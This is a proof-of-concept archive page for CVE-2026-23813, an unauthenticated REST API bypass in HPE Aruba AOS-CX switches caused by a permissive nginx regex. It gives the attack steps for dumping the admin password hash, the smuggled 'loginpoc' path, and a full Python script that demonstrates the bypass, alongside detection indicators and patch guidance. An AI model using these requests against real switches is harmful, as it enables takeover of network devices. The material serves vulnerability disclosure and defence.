PoC Archive PoC Archive
Critical CVE-2026-23813 patched

HPE Aruba AOS-CX Pre-Auth REST API Bypass via nginx Version Smuggling (CVE-2026-23813)

by 4252nez (OffSecKit); original report by moonv via HPE Bugcrowd · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-23813
Category
network
Affected product
HPE Aruba Networking AOS-CX
Affected versions
10.17.x <= 10.17.0001, 10.16.x <= 10.16.1020, 10.13.x <= 10.13.1160, 10.10.x <= 10.10.1170 (fixed in 10.17.1001 / 10.16.1030 / 10.13.1161 / 10.10.1180)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcher4252nez (OffSecKit); original report by moonv via HPE Bugcrowd
CVE / AdvisoryCVE-2026-23813
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS 3.x, Critical)
StatusPoC
Tagsaruba, aos-cx, authentication-bypass, nginx, ovsdb, network-switch, config-disclosure, cwe-287
RelatedN/A

Affected Target

FieldValue
Software / SystemHPE Aruba Networking AOS-CX
Versions Affected10.17.x <= 10.17.0001, 10.16.x <= 10.16.1020, 10.13.x <= 10.13.1160, 10.10.x <= 10.10.1170 (fixed in 10.17.1001 / 10.16.1030 / 10.13.1161 / 10.10.1180)
Language / PlatformPython 3.8+ (requests) against AOS-CX REST management API
Authentication RequiredNo
Network Access RequiredYes

Summary

AOS-CX fronts its management REST API with nginx, which uses an over-permissive regular expression to route requests by API version/login path. By smuggling a login-flavored token into the request path, an unauthenticated attacker can reach REST endpoints that should only be accessible to authenticated sessions, exposing the OVSDB-backed device configuration — including the administrator’s password hash. On the 10.10.x branch specifically, this bypass can additionally be chained into creating a configuration checkpoint and reading it back in full via the unauthenticated path. The repository ships a non-destructive detector, an educational side-by-side demo of the routing bypass, and a full config-disclosure PoC scoped to 10.10.x.


Vulnerability Details

Root Cause

nginx’s reverse-proxy configuration in front of the AOS-CX REST API matches request paths using a version regex that is broad enough to also match a smuggled login token, causing requests intended to be gated behind authentication to be routed to the unauthenticated REST handlers instead.

Attack Vector

  1. Send a crafted request containing the login-smuggled path segment to the AOS-CX management REST API without any credentials.
  2. Confirm the bypass reaches endpoints normally requiring an authenticated session (bypass_demo.py compares response codes with/without the smuggle).
  3. On AOS-CX 10.10.x, use the bypass to POST a configuration checkpoint via /rest/v1/config/copy/running-config/<name>.
  4. GET the checkpoint back via /rest/v1/fullconfigs/<name>, exposing the full running configuration including the User table’s password hashes.

Impact

Unauthenticated disclosure of the complete device configuration and administrator credential hash on affected AOS-CX switches, which can be cracked or replayed to gain full administrative control of the network device.


Environment / Lab Setup

Target:   HPE Aruba AOS-CX switch/VSX running an affected firmware branch, REST API reachable over HTTPS
Attacker: Python 3.8+, `pip install requests`

Proof of Concept

PoC Script

See detect.py, bypass_demo.py, and exploit.py in this folder (plus docs/ and detection/ for root-cause notes and log signatures).

1
2
3
python3 detect.py <host[:port]>          # non-destructive patch-status check
python3 bypass_demo.py <host[:port]>     # side-by-side proof of the routing bypass
python3 exploit.py <host[:port]>         # AOS-CX 10.10.x: creates a checkpoint and dumps the admin hash

detect.py sends a single read-only GET and reports PATCHED/VULNERABLE/UNKNOWN. bypass_demo.py sends the same endpoint normally and with the smuggle, printing both response codes for comparison. exploit.py is 10.10.x-specific: it creates a config checkpoint through the unauthenticated path, reads it back, and prints the admin account’s password hash.


Detection & Indicators of Compromise

GET /rest/v1/...;login... 200

Signs of compromise:

  • Unauthenticated REST requests to /rest/v1/config/copy/running-config/* or /rest/v1/fullconfigs/* with no prior login/session cookie.
  • Unexpected configuration checkpoints (e.g. named loginpoc or similar) appearing on the device that no administrator created.
  • Suricata alerts matching the smuggle URI shape (see detection/suricata.rules).

Remediation

ActionDetail
Primary fixUpgrade to AOS-CX 10.17.1001, 10.16.1030, 10.13.1161, or 10.10.1180 (or later) depending on branch
Interim mitigationRestrict management-plane REST API access to trusted out-of-band networks and monitor nginx access logs for the smuggled login path pattern until patched

References


Notes

Mirrored from https://github.com/offseckit/CVE-2026-23813 on 2026-07-05.

bypass_demo.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
"""CVE-2026-23813 — bypass mechanic demonstration.

Sends two GETs to the AOS-CX REST API and prints the response codes
side-by-side. Both target the user-record endpoint under /system/users/;
the second smuggles a 'login' suffix in the trailing segment, which makes
nginx match the unauthenticated 'login' location and forward the raw
URI to the backend.

No data is read, no state is changed.
"""
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = """\
CVE-2026-23813 — bypass demonstration
The vulnerable nginx regex is:   ^/rest/(|v.*/)login
The .* in the version capture matches '/', so any URI ending in 'login*'
is treated as the unauthenticated login endpoint and proxied raw to
hpe-restd. The fixed regex restricts the version segment to digits and
dots:                            ^/rest/(|v[0-9\\.]+/)login
"""


def hit(url):
    try:
        r = requests.get(url, verify=False, timeout=10,
                         allow_redirects=False)
        return r.status_code, len(r.content)
    except requests.exceptions.RequestException as e:
        return None, str(e)


def main():
    if len(sys.argv) != 2:
        print(f"usage: {sys.argv[0]} <host[:port]>", file=sys.stderr)
        sys.exit(2)
    target = sys.argv[1]
    print(BANNER)
    pairs = [
        ("normal request",
         f"https://{target}/rest/v1/system/users/admin"),
        ("smuggled request",
         f"https://{target}/rest/v1/system/users/loginpoc"),
    ]
    smuggle_code = None
    for label, url in pairs:
        code, info = hit(url)
        if code is None:
            print(f"  {label:18} → ERROR {info}")
            continue
        verdict = "blocked by nginx auth" if code == 401 else "reached backend"
        print(f"  {label:18} → HTTP {code} ({info} bytes) — {verdict}")
        print(f"    {url}")
        if "smuggled" in label:
            smuggle_code = code
    print()
    if smuggle_code == 401:
        print("[+] PATCHED — nginx blocked the smuggle.")
    elif smuggle_code is not None:
        print("[!] VULNERABLE — the smuggle reached hpe-restd unauthenticated.")
    else:
        print("[?] UNKNOWN — could not complete the smuggled request.")


if __name__ == "__main__":
    main()